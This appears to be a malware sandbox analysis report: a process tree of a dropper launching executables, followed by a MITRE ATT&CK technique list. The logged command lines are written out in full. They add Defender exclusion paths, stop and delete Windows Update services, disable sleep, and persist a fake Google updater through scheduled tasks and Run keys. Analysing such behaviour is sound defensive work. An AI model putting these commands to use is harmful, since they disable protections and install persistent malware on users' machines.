- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4900

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde03b46f8,0x7ffde03b4708,0x7ffde03b4718
4⤵
PID:2064

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2
4⤵
PID:2284

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 /prefetch:3
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:1736

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3328 /prefetch:8
4⤵
PID:1400

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3784 /prefetch:1
4⤵
PID:536

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3792 /prefetch:1
4⤵
PID:3984

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5324 /prefetch:8
4⤵
PID:1460

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5436 /prefetch:1
4⤵
PID:2004

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4160 /prefetch:1
4⤵
PID:3992

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5576 /prefetch:1
4⤵
PID:1464

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5400 /prefetch:8
4⤵
PID:1884

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5492 /prefetch:1
4⤵
PID:4568

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3956 /prefetch:1
4⤵
PID:5112

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6240 /prefetch:8
4⤵
PID:1628

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
4⤵
- Drops file in Program Files directory
PID:4324

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff625bd5460,0x7ff625bd5470,0x7ff625bd5480
5⤵
PID:2056

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6240 /prefetch:8
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3016

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1872 /prefetch:8
4⤵
PID:440

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1888 /prefetch:8
4⤵
PID:5532

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1888 /prefetch:8
4⤵
PID:5616

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1692 /prefetch:8
4⤵
PID:5656

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2672 /prefetch:8
4⤵
PID:5696

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6212 /prefetch:8
4⤵
PID:5736

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6380 /prefetch:8
4⤵
PID:5844

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6232 /prefetch:8
4⤵
PID:5892

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,16713514962216666211,11044630680083977700,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2672 /prefetch:2
4⤵
PID:5936

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\se21t2up.vbs"
3⤵
- Blocklisted process makes network request
PID:4340

C:\Users\Admin\AppData\Local\Temp\setu2p.exe
"C:\Users\Admin\AppData\Local\Temp\setu2p.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1492

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
4⤵
PID:4648

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
PID:2984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:748

C:\Windows\SYSTEM32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
6⤵
PID:5000

C:\Windows\system32\sc.exe
sc stop UsoSvc
7⤵
- Launches sc.exe
PID:1476

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
7⤵
- Launches sc.exe
PID:4852

C:\Windows\system32\sc.exe
sc stop wuauserv
7⤵
- Launches sc.exe
PID:3856

C:\Windows\system32\sc.exe
sc stop bits
7⤵
- Launches sc.exe
PID:3872

C:\Windows\system32\sc.exe
sc stop dosvc
7⤵
- Launches sc.exe
PID:2832

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
7⤵
PID:4204

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
7⤵
PID:4516

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
7⤵
- Modifies security service
PID:1044

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
7⤵
PID:796

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
7⤵
PID:3836

C:\Windows\SYSTEM32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
6⤵
PID:4912

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:4880

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:5100

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:4284

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:1296

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#tnsgzmlqv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#lkntrxaxo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:3140

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
7⤵
PID:3440

C:\Users\Admin\AppData\Local\Temp\setup23.exe
"C:\Users\Admin\AppData\Local\Temp\setup23.exe"
5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3068

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN Cache-S-21-2946144819-3e21f723 /TR "C:\Users\Admin\AppData\Local\cache\MoUSO.exe"
6⤵
- Creates scheduled task(s)
PID:1628

C:\Users\Admin\AppData\Local\Temp\setup2321.exe
"C:\Users\Admin\AppData\Local\Temp\setup2321.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4316

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
6⤵
PID:3692

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
6⤵
PID:5028

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
6⤵
PID:4324

C:\Users\Admin\AppData\Local\Temp\watchdog.exe
"C:\Users\Admin\AppData\Local\Temp\watchdog.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4420

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:104252

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:380

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:6752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#tnsgzmlqv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3748

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:1828

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:3632

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:3692

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:8

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:4912

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:4320

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:3836

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1628

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:2596

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:2648

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:2984

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:4284

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:2036

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:408

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:2788

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe dusipgdp
2⤵
PID:5172

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:5184

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:5196

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
PID:5268

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe yvlyxjfdxdcidxwf GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1pmYVvkjJN4HofKGCqATpWU9EnXlzYLkPxSmgsIYJU04
2⤵
PID:5308

C:\Windows\system32\sc.exe
sc stop UsoSvc
1⤵
- Launches sc.exe
PID:4740

C:\Users\Admin\AppData\Local\cache\MoUSO.exe
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5364

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Virtualization/Sandbox Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion